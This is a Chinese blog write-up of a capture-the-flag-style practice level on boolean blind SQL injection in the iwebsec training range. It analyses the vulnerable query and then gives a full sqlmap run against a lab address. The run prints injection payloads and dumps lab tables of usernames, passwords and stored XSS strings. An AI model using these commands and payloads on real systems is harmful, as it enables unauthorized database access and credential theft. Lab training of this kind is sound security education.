iwebsec靶场 SQL注入漏洞通关笔记3- bool注入（布尔型盲注）

最新推荐文章于 2024-05-12 07:41:20 发布

mooyuan天天

最新推荐文章于 2024-05-12 07:41:20 发布

阅读量2.5k

点赞数

分类专栏： iwebsec靶场文章标签： sql注入布尔型盲注 web安全 iwebsec sqlmap

本文链接：https://blog.csdn.net/mooyuan/article/details/128034663

版权

iwebsec靶场专栏收录该内容

42 篇文章 20 订阅

订阅专栏

系列文章目录

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入（宽字节注入）_mooyuan的博客-CSDN博客

前言

iwebsec靶场的SQL注入漏洞的第03关bool注入漏洞渗透，

一、源码分析

如下所示，SQL语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

可知这是一个普通的数字型注入，并且没有对参数id做任何过滤

不过在输出内容中可以得知仅sql查询成功时有正确输出welcome to iwebsec!!!

当sql查询结果错误时显示1

也就是说这属于布尔型注入，形象的描述就是当前页面只会点头或者摇头，仅有这两种表达方式，也就是布尔的是与否两者形式，故而是布尔注入。

二、sqlmap渗透

1.注入命令

sqlmap -u http://192.168.71.151/sqli/01.php?id=1  --current-db --dump --batch

如下所示渗透成功，发现其存在布尔型盲注漏洞

2.完整交互过程

kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/03.php?id=1 --current-db --dump --batch 
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[']_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
|_ -| . [)]     | .'| . |                                                                                                                                                                                                                  
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:18:11 /2022-11-24/

[22:18:11] [INFO] testing connection to the target URL
[22:18:11] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:18:11] [INFO] testing if the target URL content is stable
[22:18:11] [INFO] target URL content is stable
[22:18:11] [INFO] testing if GET parameter 'id' is dynamic
[22:18:11] [WARNING] GET parameter 'id' does not appear to be dynamic
[22:18:11] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[22:18:11] [INFO] testing for SQL injection on GET parameter 'id'
[22:18:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:18:12] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="welcome to iwebsec!!!")
[22:18:12] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[22:18:12] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:18:12] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[22:18:12] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[22:18:12] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[22:18:12] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[22:18:12] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[22:18:12] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[22:18:12] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[22:18:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:18:12] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:18:12] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:18:12] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:18:12] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:18:12] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:18:12] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:18:12] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[22:18:12] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[22:18:12] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[22:18:12] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[22:18:12] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[22:18:12] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[22:18:12] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[22:18:12] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[22:18:12] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[22:18:12] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[22:18:12] [INFO] testing 'Generic inline queries'
[22:18:12] [INFO] testing 'MySQL inline queries'
[22:18:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[22:18:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[22:18:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[22:18:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[22:18:12] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[22:18:12] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[22:18:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:18:22] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[22:18:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:18:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:18:22] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:18:22] [INFO] target URL appears to have 3 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[22:18:22] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[22:18:22] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[22:18:22] [INFO] testing 'MySQL UNION query (29) - 1 to 20 columns'
[22:18:22] [INFO] testing 'MySQL UNION query (29) - 21 to 40 columns'
[22:18:23] [INFO] testing 'MySQL UNION query (29) - 41 to 60 columns'
[22:18:23] [INFO] testing 'MySQL UNION query (29) - 61 to 80 columns'
[22:18:23] [INFO] testing 'MySQL UNION query (29) - 81 to 100 columns'
[22:18:23] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 255 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 6892=6892

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2146 FROM (SELECT(SLEEP(5)))rHLa)
---
[22:18:23] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: Apache 2.2.15, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.12
[22:18:23] [INFO] fetching current database
[22:18:23] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[22:18:23] [INFO] retrieved: iwebsec
current database: 'iwebsec'
[22:18:23] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[22:18:23] [INFO] fetching current database
[22:18:23] [INFO] fetching tables for database: 'iwebsec'
[22:18:23] [INFO] fetching number of tables for database 'iwebsec'
[22:18:23] [INFO] retrieved: 4
[22:18:23] [INFO] retrieved: sqli
[22:18:23] [INFO] retrieved: user
[22:18:23] [INFO] retrieved: users
[22:18:24] [INFO] retrieved: xss
[22:18:24] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[22:18:24] [INFO] retrieved: 4
[22:18:24] [INFO] retrieved: id
[22:18:24] [INFO] retrieved: username
[22:18:24] [INFO] retrieved: password
[22:18:24] [INFO] retrieved: email
[22:18:24] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
[22:18:24] [INFO] fetching number of entries for table 'sqli' in database 'iwebsec'
[22:18:24] [INFO] retrieved: 7
[22:18:24] [INFO] retrieved: user1@iwebsec.com
[22:18:25] [INFO] retrieved: 1
[22:18:25] [INFO] retrieved: pass1
[22:18:25] [INFO] retrieved: user1
[22:18:25] [INFO] retrieved: user2@iwebsec.com
[22:18:26] [INFO] retrieved: 2
[22:18:26] [INFO] retrieved: pass2
[22:18:26] [INFO] retrieved: user2
[22:18:26] [INFO] retrieved: user3@iwebsec.com
[22:18:27] [INFO] retrieved: 3
[22:18:27] [INFO] retrieved: pass3
[22:18:27] [INFO] retrieved: user3
[22:18:27] [INFO] retrieved: user4@iwebsec.com
[22:18:28] [INFO] retrieved: 4
[22:18:28] [INFO] retrieved: admin
[22:18:28] [INFO] retrieved: admin
[22:18:28] [INFO] retrieved: 123@123.com
[22:18:28] [INFO] retrieved: 5
[22:18:28] [INFO] retrieved: 123
[22:18:29] [INFO] retrieved: 123
[22:18:29] [INFO] retrieved: 1234@123.com
[22:18:29] [INFO] retrieved: 6
[22:18:29] [INFO] retrieved: 123
[22:18:29] [INFO] retrieved: ctfs' or updatexml(1,concat(0x7e,(version())),0)#
[22:18:31] [INFO] retrieved: iwebsec02@iwebsec.com
[22:18:32] [INFO] retrieved: 7
[22:18:32] [INFO] retrieved: 123456
[22:18:32] [INFO] retrieved: iwebsec' or updatexml(1,concat(0x7e,(version())),0)#
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | user1@iwebsec.com     | pass1    | user1                                                |
| 2  | user2@iwebsec.com     | pass2    | user2                                                |
| 3  | user3@iwebsec.com     | pass3    | user3                                                |
| 4  | user4@iwebsec.com     | admin    | admin                                                |
| 5  | 123@123.com           | 123      | 123                                                  |
| 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[22:18:33] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[22:18:33] [INFO] fetching columns for table 'user' in database 'iwebsec'
[22:18:33] [INFO] retrieved: 3
[22:18:34] [INFO] retrieved: id
[22:18:34] [INFO] retrieved: username
[22:18:34] [INFO] retrieved: password
[22:18:34] [INFO] fetching entries for table 'user' in database 'iwebsec'
[22:18:34] [INFO] fetching number of entries for table 'user' in database 'iwebsec'
[22:18:34] [INFO] retrieved: 3
[22:18:34] [INFO] retrieved: 1
[22:18:34] [INFO] retrieved: pass1
[22:18:35] [INFO] retrieved: user1
[22:18:35] [INFO] retrieved: 2
[22:18:35] [INFO] retrieved: pass2
[22:18:35] [INFO] retrieved: user2
[22:18:35] [INFO] retrieved: 3
[22:18:35] [INFO] retrieved: pass3
[22:18:35] [INFO] retrieved: user3
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[22:18:36] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[22:18:36] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[22:18:36] [INFO] retrieved: 2
[22:18:36] [INFO] retrieved: id
[22:18:36] [INFO] retrieved: name
[22:18:36] [INFO] fetching entries for table 'xss' in database 'iwebsec'
[22:18:36] [INFO] fetching number of entries for table 'xss' in database 'iwebsec'
[22:18:36] [INFO] retrieved: 5
[22:18:36] [INFO] retrieved: 1
[22:18:36] [INFO] retrieved: iwebsec
[22:18:36] [INFO] retrieved: 5
[22:18:36] [INFO] retrieved: <img src=1 onerror=alert(/ctfs/)/>
[22:18:38] [INFO] retrieved: 6
[22:18:38] [INFO] retrieved: <img src=1 onerror=alert(/ctfs/)/>
[22:18:39] [INFO] retrieved: 7
[22:18:39] [INFO] retrieved: <img src=1 onerror=alert(/ctfs/)/>
[22:18:40] [INFO] retrieved: 8
[22:18:40] [INFO] retrieved: <?php phpinfo();?>
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 1  | iwebsec                            |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[22:18:41] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[22:18:41] [INFO] fetching columns for table 'users' in database 'iwebsec'
[22:18:41] [INFO] retrieved: 3
[22:18:41] [INFO] retrieved: username
[22:18:42] [INFO] retrieved: password
[22:18:42] [INFO] retrieved: role
[22:18:42] [INFO] fetching entries for table 'users' in database 'iwebsec'
[22:18:42] [INFO] fetching number of entries for table 'users' in database 'iwebsec'
[22:18:42] [INFO] retrieved: 1
[22:18:42] [INFO] retrieved: mall123mall
[22:18:43] [INFO] retrieved: admin
[22:18:43] [INFO] retrieved: orange
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[22:18:44] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[22:18:44] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[22:18:44] [WARNING] your sqlmap version is outdated

[*] ending @ 22:18:44 /2022-11-24/

总结

通过源码再来分析下布尔型SQL注入重点内容：

（1）闭合方式是什么？iwebsec的第03关关卡为数字型

（2）注入类别是什么？这部分通过源码分析与手注很容易判断出是布尔型注入

（3）是否过滤了关键字？很明显通过源码，iwebsec的布尔型关卡无过滤任何信息

了解了如上信息就可以针对性进行SQL渗透，使用sqlmap工具渗透更是事半功倍，以上就是今天要讲的第3关bool注入内容，初学者建议按部就班先使用手动注入练习，再进行sqlmap渗透。

mooyuan天天

关注

0
点赞
踩
5

收藏

觉得还不错? 一键收藏
打赏
0
评论
iwebsec靶场 SQL注入漏洞通关笔记3- bool注入（布尔型盲注）

iwebsec靶场的SQL注入漏洞的第03关bool注入漏洞渗透，通过源码再来分析下布尔型SQL注入重点内容：（1）闭合方式是什么？iwebsec的第03关关卡为数字型（2）注入类别是什么？这部分通过源码分析与手注很容易判断出是布尔型注入（3）是否过滤了关键字？很明显通过源码，iwebsec的布尔型关卡无过滤任何信息了解了如上信息就可以针对性进行SQL渗透，使用sqlmap工具渗透更是事半功倍，以上就是今天要讲的第3关bool注入内容，初学者建议按部就班先使用手动注入练习，再进行sqlmap渗透。
复制链接

扫一扫